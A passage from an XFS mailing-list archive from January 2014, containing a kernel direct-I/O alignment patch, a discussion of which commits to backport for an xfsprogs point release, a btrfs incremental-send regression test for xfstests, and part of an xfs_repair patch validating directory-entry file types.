bt_dev; struct block_device *bt_bdev; @@ -95,6 +108,8 @@ typedef struct xfs_buftarg { struct xfs_mount *bt_mount; unsigned int bt_meta_sectorsize; size_t bt_meta_sectormask; + size_t bt_logical_sectorsize; + size_t bt_logical_sectormask; /* LRU control structures */ struct shrinker bt_shrinker; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index ef0c933..57725b4 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -261,7 +261,8 @@ xfs_file_aio_read( xfs_buftarg_t *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos | size) & target->bt_meta_sectormask) { + /* DIO must be aligned to device logical sector size */ + if ((pos | size) & target->bt_logical_sectormask) { if (pos == i_size_read(inode)) return 0; return -XFS_ERROR(EINVAL); @@ -641,9 +642,11 @@ xfs_file_dio_aio_write( struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos | count) & target->bt_meta_sectormask) + /* DIO must be aligned to device logical sector size */ + if ((pos | count) & target->bt_logical_sectormask) return -XFS_ERROR(EINVAL); + /* "unaligned" here means not aligned to a filesystem block */ if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) unaligned_io = 1; diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 64ca8e9..f7ac335 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1587,7 +1587,7 @@ xfs_file_ioctl( XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - da.d_mem = da.d_miniosz = target->bt_meta_sectorsize; + da.d_mem = da.d_miniosz = target->bt_logical_sectorsize; da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); if (copy_to_user(arg, &da, sizeof(da))) From david@fromorbit.com Tue Jan 21 17:42:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B06F029E05 for ; Tue, 21 Jan 2014 17:42:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 751E7304043 for ; Tue, 21 Jan 2014 15:41:57 -0800 (PST) X-ASG-Debug-ID: 1390347714-04bdf030e860240001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id mszDfMfr1f2eymCK for ; Tue, 21 Jan 2014 15:41:55 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvMIAEUF31J5LKVw/2dsb2JhbABagwuDOVKzIoIZgzeBExd0giUBAQEEIw8BIyMQCAMYAgIFIQICDwUlAyETiASmTZwjFxaBE41WB4JvgUkEmCGSGYNBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jan 2014 10:11:54 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W5kx5-0000lT-OP; Wed, 22 Jan 2014 10:41:51 +1100 Date: Wed, 22 Jan 2014 10:41:51 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Message-ID: <20140121234151.GJ13997@dastard> X-ASG-Orig-Subj: Re: xfsprogs 3.1.12 and 3.2.0 releases? References: <201401201822.48520.arekm@maven.pl> <20140120230814.GA4287@infradead.org> <20140120231158.GL1935@sgi.com> <201401210917.38674.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201401210917.38674.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390347714 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144341 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 21, 2014 at 09:17:38AM +0100, Arkadiusz Miśkiewicz wrote: > On Tuesday 21 of January 2014, Ben Myers wrote: > > On Mon, Jan 20, 2014 at 03:08:14PM -0800, Christoph Hellwig wrote: > > > On Tue, Jan 21, 2014 at 10:02:59AM +1100, Dave Chinner wrote: > > > > Well, that's always been the plan since a 3.1.12 release was > > > > proposed 3 months ago. How well has that plan been working out so > > > > far? > > > > > > The sad part is that I would have had the time 3 month ago, but right > > > now it's hard. Still trying to get it done, though. > > > > If Arkadiusz is willing to provide a list of commits to include it > > shouldn't be a problem to get this done. I believe he indicated a > > willingness to help on IRC earlier today. > > By looking into git log these look like small fixes for 3.1.x. Could someone else recheck? > ..... > 3a19fb7dce9d570e78deaf5c26c0ab8a4a5bef67 libxfs: stop caching inode structures > 61510437c627b529feb95ebffddd73df5ed5b104 repair: prefetching is turned off unnecessarily > 0cce4aa198f0470817bedb3781ea5b6955e43076 repair: Increase default repair parallelism on large filesystems I think these three are not a great idea for 3.1.x. They result in significant changes of behaviour that can result in increased memory consumption by default. I'd prefer that we don't make changes to the default behaviour in a bug-fix only point release. ..... > Not sure about these: > > 1ba28b64e69ce3a7989df88f71a5cb608b1c71e3 xfs_repair: drop buffer reference on symlink error > 4e503735fd407e2e61295e6af6ec47af4693bc95 xfs_repair: fix btree block magic number mapping > 4fbebf374ccc178f1fedcf2d8a43339031f8dbb4 libxfs: fix dir3 freespace block corruption > 494434d7fb79840ba113ecd7fb1ac3ae20e0f569 xfs: Add read-only support for dirent filetype field > 906b762f55333968321062642a0b90feac1fdffb xfs: Add write support for dirent filetype field > 3beed08eb22f56b384d2028541ccb41284ff9751 xfsprogs: add dtype support to mkfs and db > 1acc538540ce22e16bb55ca573691070a8d375db xfsprogs: initialize filetype for xfs_name_dot > 41315687d9db9b50876401e7b0ee20dd77cfc712 xfs: dirent dtype presence is dependent on directory magic numbers > 68774b900e0c8368342cb12f649572a86ef2f6e4 xfsprogs: initialize filetype for lost+found creation > 2cca1dbd1c3e12d270a9baa5f85e548e8a5a2125 xfs_repair: add d_type when moving files to lost+found > 87e343bd0937e5bb75dd8bc46ba388b6f8c6552b xfsprog: add xfs sb v4 support for dirent filetype field > 6f700630b06a2ce15aebe8608b2c5877002299d6 xfsprog: add dirent filetype information for xfs_info > 42737f1ad16213a3dab1756c9fffb494db8ef27e xfs_progs: add dirent filetype to xfs_db version > 4eb02d95b7e081b510a7015609f01385aab229a9 xfsprog: add mkfs.xfs sb v4 support for dirent filetype field I'd say not to the dirent filetype changes. They require the CRC format enabled directory code and that basically involves backporting the entire 3.2-alpha code base to support it. Otherwise a complete re-implementation in needed for 3.1.x, not a backport. Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Tue Jan 21 17:57:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CF54229E05 for ; Tue, 21 Jan 2014 17:57:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 38AEDAC007 for ; Tue, 21 Jan 2014 15:57:00 -0800 (PST) X-ASG-Debug-ID: 1390348617-04cb6c31f51d030001-NocioJ Received: from mail-wg0-f53.google.com (mail-wg0-f53.google.com [74.125.82.53]) by cuda.sgi.com with ESMTP id CDtCPWxVDXKq0Y3Z (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 21 Jan 2014 15:56:58 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.53 Received: by mail-wg0-f53.google.com with SMTP id y10so8691999wgg.20 for ; Tue, 21 Jan 2014 15:56:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=07ZrQ5lLE914m/cCtz0+KR66lA8LdBgfRIpQ1yZAWvQ=; b=WshxzEQUvS6omLq962Cbeu54OfWUav07oLV0iQRzQnefda7O0vYSe5UbyjtS3nVXY9 X/P3sn0l1qpRClqyuzBv9O7/BhUE4HT9flZ5hw/VTJeFqBuLuhBM71I3ZxiN4tQON2I1 EPnLlfUV8r+F6afNl072tb07JmducNxaFFks85vZqzh997SIlzLXYb1WNDAZ6F/41P52 9LvOPgkWD4peC4WH9f31K7z3FToy8N+v3rVPMkuAGQUwDkfubEP4vfpdA7Ox8Zq8Sr9i BiqrzDikQhRUxTDhx6CMWnUzkMBBEopcwAd5O8CVOgJIS0KNm186giu4hpHxQJMb62Bz h0rQ== X-Received: by 10.180.86.9 with SMTP id l9mr215363wiz.20.1390348617301; Tue, 21 Jan 2014 15:56:57 -0800 (PST) Received: from storm-desktop.lan (bl10-142-212.dsl.telepac.pt. [85.243.142.212]) by mx.google.com with ESMTPSA id 5sm10903051wjw.17.2014.01.21.15.56.56 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 21 Jan 2014 15:56:56 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: add test for btrfs incremental send infinite loop issue Date: Tue, 21 Jan 2014 23:56:50 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add test for btrfs incremental send infinite loop issue Message-Id: <1390348610-8098-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wg0-f53.google.com[74.125.82.53] X-Barracuda-Start-Time: 1390348618 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144342 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for btrfs' incremental send feature: 1) Create several nested directories; 2) Create a read only snapshot; 3) Change the parentship of some of the deepest directories in a reverse way, so that parents become children and children become parents; 4) Create another read only snapshot and use it for an incremental send relative to the first snapshot. At step 4 btrfs' send entered an infinite loop, increasing the memory it used while building path strings until a krealloc was unable to allocate more memory, which caused a warning dump in dmesg. The following linux kernel patch fixes this issue. Btrfs: fix infinite path build loops in incremental send (https://patchwork.kernel.org/patch/3521191/) Signed-off-by: Filipe David Borba Manana --- tests/btrfs/030 | 140 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/030.out | 9 ++++ tests/btrfs/group | 1 + 3 files changed, 150 insertions(+) create mode 100755 tests/btrfs/030 create mode 100644 tests/btrfs/030.out diff --git a/tests/btrfs/030 b/tests/btrfs/030 new file mode 100755 index 0000000..a492877 --- /dev/null +++ b/tests/btrfs/030 @@ -0,0 +1,140 @@ +#! /bin/bash +# FS QA Test No. btrfs/030 +# +# Regression test for btrfs' incremental send feature: +# +# 1) Create several nested directories; +# 2) Create a read only snapshot; +# 3) Change the parentship of some of the deepest directories in a reverse +# way, so that parents become children and children become parents; +# 4) Create another read only snapshot and use it for an incremental send +# relative to the first snapshot. +# +# At step 4 btrfs' send entered an infinite loop, increasing the memory it +# used while building path strings until a krealloc was unable to allocate +# more memory, which caused a warning dump in dmesg. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + + +mkdir -p $SCRATCH_MNT/a/b/c +echo "hello" > $SCRATCH_MNT/a/b/c/file.txt +mkdir $SCRATCH_MNT/a/b/c/d +mkdir $SCRATCH_MNT/a/b/c2 +mkdir -p $SCRATCH_MNT/a/b/c3/x/y + +# Directory tree looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 259) +# | |-- file.txt (ino 260) +# | |-- d/ (ino 261) +# | +# |-- c2/ (ino 262) +# | +# |-- c3/ (ino 263) +# |-- x/ (ino 264) +# |-- y/ (ino 265) + +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 | \ + _filter_scratch + +echo " world" >> $SCRATCH_MNT/a/b/c/file.txt +mv $SCRATCH_MNT/a/b/c/d $SCRATCH_MNT/a/b/c2/d2 +mv $SCRATCH_MNT/a/b/c $SCRATCH_MNT/a/b/c2/d2/cc +mv $SCRATCH_MNT/a/b/c3/x/y $SCRATCH_MNT/a/b/c2/y2 +mv $SCRATCH_MNT/a/b/c3/x $SCRATCH_MNT/a/b/c2/y2/x2 +mv $SCRATCH_MNT/a/b/c3 $SCRATCH_MNT/a/b/c2/y2/x2/Z +ln $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2/Z/file_link.txt +mv $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2 + +# Directory tree now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c2/ (ino 262) +# |-- d2/ (ino 261) +# | |-- cc/ (ino 259) +# | |-- file.txt (ino 260) +# |-- y2/ (ino 265) +# |-- x2/ (ino 264) +# |-- Z/ (ino 263) +# |-- file_link.txt + +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 | \ + _filter_scratch + +$FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +$FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +$BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap 2>&1 | _filter_scratch +$BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap 2>&1 | _filter_scratch + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +$FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +$FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/030.out b/tests/btrfs/030.out new file mode 100644 index 0000000..2999f8c --- /dev/null +++ b/tests/btrfs/030.out @@ -0,0 +1,9 @@ +QA output created by 030 +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap1' +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap2' +At subvol SCRATCH_MNT/mysnap1 +At subvol SCRATCH_MNT/mysnap2 +At subvol mysnap1 +OK +At snapshot mysnap2 +OK diff --git a/tests/btrfs/group b/tests/btrfs/group index 8eb8c4f..3f61799 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -32,3 +32,4 @@ 027 auto quick 028 auto quick 029 auto quick +030 auto quick -- 1.7.9.5 From dave@fromorbit.com Tue Jan 21 22:16:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ED13B29E05 for ; Tue, 21 Jan 2014 22:16:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C70238F8035 for ; Tue, 21 Jan 2014 20:16:24 -0800 (PST) X-ASG-Debug-ID: 1390364180-04cbb05bac60e50001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Ign47VmQCtgmhN77 for ; Tue, 21 Jan 2014 20:16:21 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhcOAKVD31J5LKVw/2dsb2JhbABagws4py4DliUXdIIlAS0vOxgYUgM0iASWRKtOjht1hC4ElDyFGIkch0qDQSiBLAIeBg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jan 2014 14:40:32 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W5p93-0001FW-Ia for xfs@oss.sgi.com; Wed, 22 Jan 2014 15:10:29 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W5p93-0000ug-HL for xfs@oss.sgi.com; Wed, 22 Jan 2014 15:10:29 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH V2] xfs_repair: add support for validating dirent ftype field Date: Wed, 22 Jan 2014 15:10:29 +1100 X-ASG-Orig-Subj: [PATCH V2] xfs_repair: add support for validating dirent ftype field Message-Id: <1390363829-3476-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390364180 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Add code to track the filetype of an inode from phase 3 when all the inodes are scanned throught to phase 6 when the directory structure is validated and corrected. Add code to phase 6 shortform and long form directory entry validation to read the ftype from the dirent, lookup the inode record and check they are the same. If they aren't and we are in no-modify mode, issue a warning such as: Phase 6 - check inode connectivity... - traversing filesystem ... would fix ftype mismatch (5/1) in directory/child inode 64/68 - traversal finished ... - moving disconnected inodes to lost+found ... If we are fixing the problem: Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... fixing ftype mismatch (5/1) in directory/child inode 64/68 - traversal finished ... - moving disconnected inodes to lost+found ... Note that this is from a leaf form directory entry that was intentionally corrupted with xfs_db like so: xfs_db> inode 64 xfs_db> a u3.bmx[0].startblock xfs_db> p .... du[3].inumber = 68 du[3].namelen = 11 du[3].name = "syscalltest" du[3].filetype = 1 du[3].tag = 0x70 .... xfs_db> write du[3].filetype 5 du[3].filetype = 5 xfs_db> quit Shortform directory entry repair was tested in a similar fashion. Further, track the ftype in the directory hash table that is build, so if the directory is rebuild from scratch it has the necessary ftype information to rebuild the directory correctly. Further, if we detect a ftype mismatch, update the entry in the hash so that later directory errors that lead to it being rebuilt use the corrected ftype field, not the bad one. Note that this code pulls in some kernel side code that is currently in kernel private locations (xfs_mode_to_ftype table), so there'll be some kernel/userspace sync work needed to bring these back into line. Signed-off-by: Dave Chinner Version 2: - factored out junking of entry in shortform directory code - fixed leak of ftypes array memory --- include/xfs_dir2.h | 3 + libxfs/xfs_dir2.c | 16 ++++ repair/dino_chunks.c | 11 +++ repair/incore.h | 27 +++++- repair/incore_ino.c | 30 ++++++- repair/phase6.c | 235 ++++++++++++++++++++++++++++++++++++--------------- repair/scan.c | 4 +- 7 files changed, 251 insertions(+), 75 deletions(-) diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h index 9910401..3900130 100644 --- a/include/xfs_dir2.h +++ b/include/xfs_dir2.h @@ -57,6 +57,9 @@ extern int xfs_dir_replace(struct xfs_trans *tp, struct xfs_inode *dp, extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, uint resblks); +#define S_SHIFT 12 +extern const unsigned char xfs_mode_to_ftype[]; + /* * Direct call from the bmap code, bypassing the generic directory layer. */ diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 96a3c1d..4c8c836 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -20,6 +20,22 @@ struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; +/* + * @mode, if set, indicates that the type field needs to be set up. + * This uses the transformation from file mode to DT_* as defined in linux/fs.h + * for file type specification. This will be propagated into the directory + * structure if appropriate for the given operation and filesystem config. + */ +const unsigned char xfs_mode_to_ftype[S_IFMT >> S_SHIFT] = { + [0] = XFS_DIR3_FT_UNKNOWN, + [S_IFREG >> S_SHIFT] = XFS_DIR3_FT_REG_FILE, + [S_IFDIR >> S_SHIFT] = XFS_DIR3_FT_DIR, + [S_IFCHR >> S_SHIFT] = XFS_DIR3_FT_CHRDEV, + [S_IFBLK >> S_SHIFT] = XFS_DIR3_FT_BLKDEV, + [S_IFIFO >> S_SHIFT] = XFS_DIR3_FT_FIFO, + [S_IFSOCK >> S_SHIFT] = XFS_DIR3_FT_SOCK, + [S_IFLNK >> S_SHIFT] = XFS_DIR3_FT_SYMLINK, +}; /* * ASCII case-insensitive (ie. A-Z) support for directories that was diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c index d3c2236..65281e4 100644 --- a/repair/dino_chunks.c +++ b/repair/dino_chunks.c @@ -788,6 +788,8 @@ process_inode_chunk( * we do now, this is where to start. */ if (is_used) { + __uint16_t di_mode; + if (is_inode_free(ino_rec, irec_offset)) { if (verbose || no_modify) { do_warn( @@ -803,6 +805,15 @@ process_inode_chunk( set_inode_used(ino_rec, irec_offset); /* + * store the on-disk file type for comparing in + * phase 6. + */ + di_mode = be16_to_cpu(dino->di_mode); + di_mode = (di_mode & S_IFMT) >> S_SHIFT; + set_inode_ftype(ino_rec, irec_offset, + xfs_mode_to_ftype[di_mode]); + + /* * store on-disk nlink count for comparing in phase 7 */ set_inode_disk_nlinks(ino_rec, irec_offset, diff --git a/repair/incore.h b/repair/incore.h index 38caa6d..5419884 100644 --- a/repair/incore.h +++ b/repair/incore.h @@ -293,6 +293,7 @@ typedef struct ino_tree_node { ino_ex_data_t *ex_data; /* phases 6,7 */ parent_list_t *plist; /* phases 2-5 */ } ino_un; + __uint8_t *ftypes; /* phases 3,6 */ } ino_tree_node_t; #define INOS_PER_IREC (sizeof(__uint64_t) * NBBY) @@ -359,7 +360,8 @@ ino_tree_node_t *find_uncertain_inode_rec(xfs_agnumber_t agno, xfs_agino_t ino); void add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free); -void add_aginode_uncertain(xfs_agnumber_t agno, +void add_aginode_uncertain(struct xfs_mount *mp, + xfs_agnumber_t agno, xfs_agino_t agino, int free); void get_uncertain_inode_rec(struct xfs_mount *mp, xfs_agnumber_t agno, @@ -476,6 +478,29 @@ static inline void add_inode_reached(struct ino_tree_node *irec, int offset) } /* + * get/set inode filetype. Only used if the superblock feature bit is set + * which allocates irec->ftypes. + */ +static inline void +set_inode_ftype(struct ino_tree_node *irec, + int ino_offset, + __uint8_t ftype) +{ + if (irec->ftypes) + irec->ftypes[ino_offset] = ftype; +} + +static inline __uint8_t +get_inode_ftype( + struct ino_tree_node *irec, + int ino_offset) +{ + if (!irec->ftypes) + return XFS_DIR3_FT_UNKNOWN; + return irec->ftypes[ino_offset]; +} + +/* * set/get inode number of parent -- works for directory inodes only */ void set_inode_parent(ino_tree_node_t *irec, int ino_offset, diff --git a/repair/incore_ino.c b/repair/incore_ino.c index 735737a..9502648 100644 --- a/repair/incore_ino.c +++ b/repair/incore_ino.c @@ -211,6 +211,21 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) return 0; } +static __uint8_t * +alloc_ftypes_array( + struct xfs_mount *mp) +{ + __uint8_t *ptr; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return NULL; + + ptr = calloc(XFS_INODES_PER_CHUNK, sizeof(*ptr)); + if (!ptr) + do_error(_("could not allocate ftypes array\n")); + return ptr; +} + /* * Next is the uncertain inode list -- a sorted (in ascending order) * list of inode records sorted on the starting inode number. There @@ -226,6 +241,7 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) */ static struct ino_tree_node * alloc_ino_node( + struct xfs_mount *mp, xfs_agino_t starting_ino) { struct ino_tree_node *irec; @@ -245,6 +261,7 @@ alloc_ino_node( irec->ino_un.ex_data = NULL; irec->nlink_size = sizeof(__uint8_t); irec->disk_nlinks.un8 = alloc_nlink_array(irec->nlink_size); + irec->ftypes = alloc_ftypes_array(mp); return irec; } @@ -285,6 +302,7 @@ free_ino_tree_node( } + free(irec->ftypes); free(irec); } @@ -303,7 +321,11 @@ static ino_tree_node_t **last_rec; * free is set to 1 if the inode is thought to be free, 0 if used */ void -add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) +add_aginode_uncertain( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agino_t ino, + int free) { ino_tree_node_t *ino_rec; xfs_agino_t s_ino; @@ -334,7 +356,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) ino_rec = (ino_tree_node_t *) avl_findrange(inode_uncertain_tree_ptrs[agno], s_ino); if (!ino_rec) { - ino_rec = alloc_ino_node(s_ino); + ino_rec = alloc_ino_node(mp, s_ino); if (!avl_insert(inode_uncertain_tree_ptrs[agno], &ino_rec->avl_node)) @@ -360,7 +382,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) void add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free) { - add_aginode_uncertain(XFS_INO_TO_AGNO(mp, ino), + add_aginode_uncertain(mp, XFS_INO_TO_AGNO(mp, ino), XFS_INO_TO_AGINO(mp, ino), free); } @@ -432,7 +454,7 @@ add_inode( { struct ino_tree_node *irec; - irec = alloc_ino_node(agino); + irec = alloc_ino_node(mp, agino); if (!avl_insert(inode_tree_ptrs[agno], &irec->avl_node)) do_warn(_("add_inode - duplicate inode range\n")); return irec; diff --git a/repair/phase6.c b/repair/phase6.c index d2d4a44..b10a825 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -134,7 +134,8 @@ dir_hash_add( __uint32_t addr, xfs_ino_t inum, int namelen, - unsigned char *name) + unsigned char *name, + __uint8_t ftype) { xfs_dahash_t hash = 0; int byaddr; @@ -148,6 +149,7 @@ dir_hash_add( xname.name = name; xname.len = namelen; + xname.type = ftype; junk = name[0] == '/'; byaddr = DIR_HASH_FUNC(hashtab, addr); 